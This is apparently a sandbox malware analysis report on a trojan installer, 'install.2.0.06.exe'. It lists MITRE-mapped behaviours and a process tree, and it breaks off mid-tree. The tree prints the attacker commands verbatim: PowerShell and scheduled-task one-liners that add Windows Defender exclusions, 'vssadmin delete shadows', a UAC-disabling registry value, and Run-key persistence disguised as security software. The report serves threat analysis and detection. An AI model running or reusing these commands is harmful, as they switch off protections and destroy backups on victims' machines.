99529859f94a2e422fbd3eb9bac3b14d0d1d55f0acce9ddf6119c9d7e304e4e9

Analysis

max time kernel
142s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 13:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.06.exe
Size 30.5MB
Sample261024-rah1vsat3z
SHA256 99529859f94a2e422fbd3eb9bac3b14d0d1d55f0acce9ddf6119c9d7e304e4e9
MD5 50838e11c36020d7982106c2bf6e4aa7
SHA1 f4f74a65a2a6bc226bbf8f92bfb8c89aacb86812
SHA512 2598b2a04db7bed7995860a5b5305d0a7aefb7d9bc186a64ae90948fa6dd6e2886c500bad639d371d8936e067c1a9496ba0f43f60f1542c6581c198eee0358e5
SSDEEP 196608:zZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCY+:YC/p+HuPOc4H
TLSH
T14467181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	go647f.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\yrvskw = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5244	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	go647f.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Executes dropped EXE 5 IoCs

pid	Process
5556	6rWAKi.exe
1068	6rWAKi.exe
2104	go647f.exe
3412	go647f.exe
5752	n7bYwordQ.exe

Loads dropped DLL 5 IoCs

pid	Process
5556	6rWAKi.exe
1068	6rWAKi.exe
2104	go647f.exe
3412	go647f.exe
5752	n7bYwordQ.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2204	icacls.exe
3780	icacls.exe
1080	icacls.exe
2740	icacls.exe
6112	icacls.exe
5568	icacls.exe
880	icacls.exe
4220	icacls.exe
3520	icacls.exe
1652	icacls.exe
4820	icacls.exe
2592	icacls.exe
1636	icacls.exe
4160	icacls.exe
3420	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\yrvskw\\6rWAKi.exe\""	6rWAKi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\eaY7Sq\\go647f.exe\""	go647f.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4100	cmd.exe
3964	cmd.exe
3972	cmd.exe
3672	cmd.exe
3632	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	6rWAKi.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\eaY7Sq\go647f.exe	6rWAKi.exe
File opened for modification	C:\Program Files (x86)\eaY7Sq\image.png	6rWAKi.exe
File opened for modification	C:\Program Files (x86)\dylv61k86\n7bYwordQ.exe	go647f.exe
File created	C:\Program Files (x86)\dylv61k86\thumbs.db	go647f.exe
File opened for modification	C:\Program Files (x86)\dylv61k86\XPSPLOG.dll	go647f.exe
File opened for modification	C:\Program Files (x86)\eaY7Sq	6rWAKi.exe
File opened for modification	C:\Program Files (x86)\eaY7Sq\thumbs.db	6rWAKi.exe
File opened for modification	C:\Program Files (x86)\dylv61k86	go647f.exe
File opened for modification	C:\Program Files (x86)\dylv61k86\image.png	go647f.exe
File created	C:\Program Files (x86)\eaY7Sq\go647f.exe	6rWAKi.exe
File created	C:\Program Files (x86)\eaY7Sq\image.png	6rWAKi.exe
File created	C:\Program Files (x86)\eaY7Sq\thumbs.db	6rWAKi.exe
File opened for modification	C:\Program Files (x86)\eaY7Sq\XPSPLOG.dll	6rWAKi.exe
File created	C:\Program Files (x86)\dylv61k86\n7bYwordQ.exe	go647f.exe
File opened for modification	C:\Program Files (x86)\dylv61k86\thumbs.db	go647f.exe
File created	C:\Program Files (x86)\eaY7Sq\XPSPLOG.dll	6rWAKi.exe
File created	C:\Program Files (x86)\dylv61k86\image.png	go647f.exe
File created	C:\Program Files (x86)\dylv61k86\XPSPLOG.dll	go647f.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	go647f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	go647f.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	go647f.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	go647f.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5912	cmd.exe
5916	cmd.exe
4352	cmd.exe
2436	cmd.exe
3736	cmd.exe
2720	cmd.exe
4768	cmd.exe
1132	cmd.exe
3364	cmd.exe
4532	cmd.exe
2040	cmd.exe
3160	cmd.exe
2924	cmd.exe
1260	cmd.exe
3376	cmd.exe
4848	cmd.exe
2912	cmd.exe
2984	cmd.exe
3136	cmd.exe
3252	cmd.exe
3396	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	go647f.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	6rWAKi.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	6rWAKi.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	go647f.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	go647f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	go647f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	n7bYwordQ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	go647f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	go647f.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	go647f.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	go647f.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	go647f.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	go647f.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2620	schtasks.exe
4732	schtasks.exe
5972	schtasks.exe
5216	schtasks.exe
1936	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
4896	install.2.0.06.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe
5556	6rWAKi.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeIncreaseQuotaPrivilege	5244	powershell.exe
Token: SeSecurityPrivilege	5244	powershell.exe
Token: SeTakeOwnershipPrivilege	5244	powershell.exe
Token: SeLoadDriverPrivilege	5244	powershell.exe
Token: SeSystemProfilePrivilege	5244	powershell.exe
Token: SeSystemtimePrivilege	5244	powershell.exe
Token: SeProfSingleProcessPrivilege	5244	powershell.exe
Token: SeIncBasePriorityPrivilege	5244	powershell.exe
Token: SeCreatePagefilePrivilege	5244	powershell.exe
Token: SeBackupPrivilege	5244	powershell.exe
Token: SeRestorePrivilege	5244	powershell.exe
Token: SeShutdownPrivilege	5244	powershell.exe
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeSystemEnvironmentPrivilege	5244	powershell.exe
Token: SeRemoteShutdownPrivilege	5244	powershell.exe
Token: SeUndockPrivilege	5244	powershell.exe
Token: SeManageVolumePrivilege	5244	powershell.exe
Token: 33	5244	powershell.exe
Token: 34	5244	powershell.exe
Token: 35	5244	powershell.exe
Token: 36	5244	powershell.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 5556 wrote to memory of 5244	5556	6rWAKi.exe	91
PID 5556 wrote to memory of 3972	5556	6rWAKi.exe	94
PID 3972 wrote to memory of 5972	3972	cmd.exe	97
PID 3972 wrote to memory of 6080	3972	cmd.exe	98
PID 5556 wrote to memory of 3672	5556	6rWAKi.exe	100
PID 5556 wrote to memory of 3632	5556	6rWAKi.exe	105
PID 3972 wrote to memory of 3144	3972	cmd.exe	104
PID 3672 wrote to memory of 5216	3672	cmd.exe	107
PID 3632 wrote to memory of 1936	3632	cmd.exe	108
PID 5556 wrote to memory of 4100	5556	6rWAKi.exe	109
PID 3632 wrote to memory of 2332	3632	cmd.exe	111
PID 3672 wrote to memory of 2804	3672	cmd.exe	112
PID 4100 wrote to memory of 2620	4100	cmd.exe	114
PID 3672 wrote to memory of 2108	3672	cmd.exe	115
PID 3632 wrote to memory of 2204	3632	cmd.exe	116
PID 4100 wrote to memory of 5520	4100	cmd.exe	117
PID 5556 wrote to memory of 3964	5556	6rWAKi.exe	120
PID 4100 wrote to memory of 4432	4100	cmd.exe	122
PID 3964 wrote to memory of 4732	3964	cmd.exe	123
PID 3964 wrote to memory of 2828	3964	cmd.exe	124
PID 3964 wrote to memory of 2676	3964	cmd.exe	126
PID 3136 wrote to memory of 5680	3136	cmd.exe	128
PID 3160 wrote to memory of 3660	3160	cmd.exe	129
PID 2040 wrote to memory of 5564	2040	cmd.exe	131
PID 5556 wrote to memory of 2104	5556	6rWAKi.exe	132
PID 2104 wrote to memory of 3252	2104	go647f.exe	135
PID 2104 wrote to memory of 5912	2104	go647f.exe	134
PID 2104 wrote to memory of 2924	2104	go647f.exe	138
PID 2104 wrote to memory of 1260	2104	go647f.exe	141
PID 3252 wrote to memory of 880	3252	cmd.exe	143
PID 2104 wrote to memory of 3376	2104	go647f.exe	145
PID 3376 wrote to memory of 3420	3376	cmd.exe	147
PID 2104 wrote to memory of 4532	2104	go647f.exe	148
PID 4532 wrote to memory of 4160	4532	cmd.exe	150
PID 2104 wrote to memory of 3364	2104	go647f.exe	151

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	go647f.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4896

C:\Users\Public\yrvskw\6rWAKi.exe
"C:\Users\Public\yrvskw\6rWAKi.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\yrvskw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\yrvskw\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2804
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2332
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5520
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2828
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2676
- C:\Program Files (x86)\eaY7Sq\go647f.exe
  "C:\Program Files (x86)\eaY7Sq\go647f.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2104
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:880
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2924
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1260
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3376
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3420
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4160
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq\go647f.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq\go647f.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4220
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq\go647f.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq\go647f.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5568
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq\go647f.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1132
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq\go647f.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:6112
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4768
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2592
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2720
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:3520
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eaY7Sq\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eaY7Sq\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1652
- - C:\Windows\SysWOW64\cmd.exe
